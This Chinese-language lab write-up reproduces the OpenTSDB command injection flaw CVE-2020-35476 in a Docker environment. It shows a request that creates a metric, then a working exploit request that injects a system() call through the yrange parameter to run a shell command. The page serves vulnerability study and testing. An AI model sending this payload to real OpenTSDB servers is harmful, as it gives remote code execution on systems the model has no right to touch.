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78 lines
2.7 KiB
Markdown
78 lines
2.7 KiB
Markdown
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# OpenTSDB 命令注入漏洞 CVE-2020-35476
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## 漏洞描述
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OpenTSDB 是一款基于 Hbase 的、分布式的、可伸缩的时间序列数据库。在其 2.4.0 版本及之前，存在一处命令注入漏洞。
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参考链接：
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- [OpenTSDB/opentsdb#2051](https://github.com/OpenTSDB/opentsdb/issues/2051)
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- [https://packetstormsecurity.com/files/136753/OpenTSDB-Remote-Code-Execution.html](https://packetstormsecurity.com/files/136753/OpenTSDB-Remote-Code-Execution.html)
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## 环境搭建
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Vulhub 执行如下命令启动一个 OpenTSDB 2.4.0：
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```
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docker compose up -d
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```
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服务启动后，访问`http://your-ip:4242`即可看到 OpenTSDB 的 Web 接口。
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## 漏洞复现
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利用这个漏洞需要知道一个 metric 的名字，可以通过`http://your-ip:4242/api/suggest?type=metrics&q=&max=10`查看 metric 列表：
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这里的 metric 列表是空的。但当前 OpenTSDB 开启了自动创建 metric 功能（`tsd.core.auto_create_metrics = true`），所以我们可以使用如下 API 创建一个名为`sys.cpu.nice`的 metric 并添加一条记录：
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```
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POST /api/put/ HTTP/1.1
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Host: your-ip:4242
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
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Content-Type: application/x-www-form-urlencoded
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Connection: close
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Content-Length: 150
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{
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"metric": "sys.cpu.nice",
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"timestamp": 1346846400,
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"value": 20,
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"tags": {
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"host": "web01",
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"dc": "lga"
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}
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}
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```
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如果目标 OpenTSDB 存在 metric，且不为空，则无需上述步骤。再次查看 metric 列表，metric 已经创建完成：
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发送如下数据包，其中参数`m`的值必须包含一个有数据的 metric：
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```
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GET /q?start=2000/10/21-00:00:00&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[0:system(%27touch%20/tmp/awesome_poc%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json HTTP/1.1
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Host: your-ip:4242
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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Connection: close
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```
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进入容器中可见 `touch /tmp/awesome_poc` 已成功执行：
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